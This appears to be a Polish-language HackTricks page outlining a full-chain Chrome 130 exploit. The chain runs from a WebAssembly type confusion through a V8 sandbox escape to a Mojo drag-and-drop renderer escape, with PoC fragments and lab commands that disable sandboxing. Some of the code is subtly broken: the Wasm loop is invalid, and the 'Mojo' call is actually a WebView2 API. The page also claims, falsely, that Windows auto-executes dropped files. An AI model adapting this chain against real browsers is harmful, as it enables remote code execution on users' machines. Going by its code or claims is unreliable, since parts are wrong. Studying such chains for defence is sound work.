# Chrome Exploiting

{{#include ../banners/hacktricks-training.md}}

> Ta strona oferuje ogólny, ale **praktyczny** przegląd nowoczesnego "pełnego łańcucha" procesu eksploatacji przeciwko Google Chrome 130, oparty na serii badań **“101 Chrome Exploitation”** (Część-0 — Wstęp).
> Celem jest dostarczenie pentesterom i deweloperom exploitów minimalnej wiedzy niezbędnej do powtórzenia lub dostosowania technik do własnych badań.

## 1. Przegląd architektury Chrome
Zrozumienie powierzchni ataku wymaga wiedzy o tym, gdzie kod jest wykonywany i które piaskownice mają zastosowanie.
```
+-------------------------------------------------------------------------+
|                             Chrome Browser                              |
|                                                                         |
|  +----------------------------+      +-----------------------------+    |
|  |      Renderer Process      |      |    Browser/main Process     |    |
|  |  [No direct OS access]     |      |  [OS access]                |    |
|  |  +----------------------+   |      |                             |    |
|  |  |    V8 Sandbox        |   |      |                             |    |
|  |  |  [JavaScript / Wasm] |   |      |                             |    |
|  |  +----------------------+   |      |                             |    |
|  +----------------------------+      +-----------------------------+    |
|               |           IPC/Mojo              |                       |
|               V                                    |                     |
|  +----------------------------+                   |                     |
|  |        GPU Process         |                   |                     |
|  |  [Restricted OS access]    |                   |                     |
|  +----------------------------+                   |                     |
+-------------------------------------------------------------------------+
```
Layered defence-in-depth:

* **V8 sandbox** (Izolacja): uprawnienia pamięci są ograniczone, aby zapobiec dowolnemu odczytowi/zapisowi z JITowanego JS / Wasm.
* **Podział Renderer ↔ Przeglądarka** zapewniony przez **Mojo/IPC** przesyłanie wiadomości; renderer *nie ma* dostępu do natywnego FS/sieci.
* **OS sandboksy** dodatkowo ograniczają każdy proces (Windows Integrity Levels / `seccomp-bpf` / profile sandboxów macOS).

Zatem *zdalny* atakujący potrzebuje **trzech** kolejnych prymitywów:

1. Korupcja pamięci wewnątrz V8, aby uzyskać **dowolny RW wewnątrz sterty V8**.
2. Druga wada pozwalająca atakującemu na **ucieczkę z sandboxu V8 do pełnej pamięci renderera**.
3. Ostateczna ucieczka z sandboxu (często logika, a nie korupcja pamięci), aby wykonać kod **poza sandboxem Chrome OS**.

---

## 2. Etap 1 – WebAssembly Type-Confusion (CVE-2025-0291)

Wada w optymalizacji **Turboshaft** TurboFan błędnie klasyfikuje **typy referencyjne WasmGC**, gdy wartość jest produkowana i konsumowana wewnątrz *pojedynczej pętli bloku podstawowego*.

Efekt:
* Kompilator **pomija sprawdzenie typu**, traktując *referencję* (`externref/anyref`) jako *int64*.
* Opracowany Wasm pozwala na nakładanie nagłówka obiektu JS z danymi kontrolowanymi przez atakującego → <code>addrOf()</code> & <code>fakeObj()</code> **AAW / AAR prymitywy**.

Minimalny PoC (fragment):
```WebAssembly
(module
(type $t0 (func (param externref) (result externref)))
(func $f (param $p externref) (result externref)
(local $l externref)
block $exit
loop $loop
local.get $p      ;; value with real ref-type
;; compiler incorrectly re-uses it as int64 in the same block
br_if $exit       ;; exit condition keeps us single-block
br   $loop
end
end)
(export "f" (func $f)))
```
Optymalizacja wyzwalaczy i obiekty spray z JS:
```js
const wasmMod = new WebAssembly.Module(bytes);
const wasmInst = new WebAssembly.Instance(wasmMod);
const f = wasmInst.exports.f;

for (let i = 0; i < 1e5; ++i) f({});   // warm-up for JIT

// primitives
let victim   = {m: 13.37};
let fake     = arbitrary_data_backed_typedarray;
let addrVict = addrOf(victim);
```
Outcome: **dowolne odczyty/zapisy w V8**.

---

## 3. Etap 2 – Ucieczka z piaskownicy V8 (problem 379140430)

Gdy funkcja Wasm jest kompilowana w trybie tier-up, generowany jest **wrapper JS ↔ Wasm**. Błąd związany z niezgodnością sygnatury powoduje, że wrapper zapisuje poza końcem zaufanego obiektu **`Tuple2`**, gdy funkcja Wasm jest ponownie optymalizowana *wciąż na stosie*.

Nadpisanie 2 × 64-bitowych pól obiektu `Tuple2` umożliwia **odczyt/zapis na dowolnym adresie wewnątrz procesu Renderera**, skutecznie omijając piaskownicę V8.

Kluczowe kroki w exploicie:
1. Wprowadź funkcję w stan **Tier-Up**, przełączając między kodem turbofan/baseline.
2. Wyzwól tier-up, utrzymując odniesienie na stosie (`Function.prototype.apply`).
3. Użyj AAR/AAW z Etapu-1, aby znaleźć i uszkodzić sąsiedni `Tuple2`.

Identyfikacja wrappera:
```js
function wrapperGen(arg) {
return f(arg);
}
%WasmTierUpFunction(f);          // force tier-up (internals-only flag)
wrapperGen(0x1337n);
```
Po uszkodzeniu posiadamy w pełni funkcjonalny **renderer R/W primitive**.

---

## 4. Etap 3 – Ucieczka z piaskownicy Renderer → OS (CVE-2024-11114)

Interfejs IPC **Mojo** `blink.mojom.DragService.startDragging()` może być wywoływany z Renderer z *częściowo zaufanymi* parametrami. Tworząc strukturę `DragData` wskazującą na **dowolną ścieżkę pliku**, renderer przekonuje przeglądarkę do wykonania *natywnego* przeciągania i upuszczania **poza piaskownicą renderera**.

Wykorzystując to, możemy programowo „przeciągnąć” złośliwy plik EXE (wcześniej umieszczony w lokalizacji z możliwością zapisu dla wszystkich) na pulpit, gdzie Windows automatycznie wykonuje określone typy plików po ich upuszczeniu.

Przykład (uproszczony):
```js
const payloadPath = "C:\\Users\\Public\\explorer.exe";

chrome.webview.postMessage({
type: "DragStart",
data: {
title: "MyFile",
file_path: payloadPath,
mime_type: "application/x-msdownload"
}
});
```
Nie jest konieczne dodatkowe uszkodzenie pamięci – **błąd logiczny** daje nam możliwość wykonania dowolnego pliku z uprawnieniami użytkownika.

---

## 5. Pełny przepływ łańcucha

1. **Użytkownik odwiedza** złośliwą stronę internetową.
2. **Etap 1**: Moduł Wasm wykorzystuje CVE-2025-0291 → sterta V8 AAR/AAW.
3. **Etap 2**: Niedopasowanie opakowania uszkadza `Tuple2` → ucieczka z piaskownicy V8.
4. **Etap 3**: `startDragging()` IPC → ucieczka z piaskownicy OS i wykonanie ładunku.

Wynik: **Zdalne wykonanie kodu (RCE)** na hoście (Chrome 130, Windows/Linux/macOS).

---

## 6. Ustawienia laboratorium i debugowania
```bash
# Spin-up local HTTP server w/ PoCs
npm i -g http-server
git clone https://github.com/Petitoto/chromium-exploit-dev
cd chromium-exploit-dev
http-server -p 8000 -c -1

# Windows kernel debugging
"C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\windbgx.exe" -symbolpath srv*C:\symbols*https://msdl.microsoft.com/download/symbols
```
Przydatne flagi podczas uruchamiania *development* builda Chrome:
```bash
chrome.exe --no-sandbox --disable-gpu --single-process --js-flags="--allow-natives-syntax"
```
---

## Wnioski

* **Błędy JIT WebAssembly** pozostają niezawodnym punktem wejścia – system typów jest wciąż młody.
* Uzyskanie drugiego błędu korupcji pamięci wewnątrz V8 (np. niedopasowanie wrappera) znacznie upraszcza **ucieczkę z piaskownicy V8**.
* Słabości na poziomie logiki w uprzywilejowanych interfejsach IPC Mojo są często wystarczające do **ostatecznej ucieczki z piaskownicy** – zwracaj uwagę na *błędy niepamięciowe*.



## Odniesienia
* [101 Chrome Exploitation — Część 0 (Wstęp)](https://opzero.ru/en/press/101-chrome-exploitation-part-0-preface/)
* [Architektura bezpieczeństwa Chromium](https://chromium.org/developers/design-documents/security)
{{#include ../banners/hacktricks-training.md}}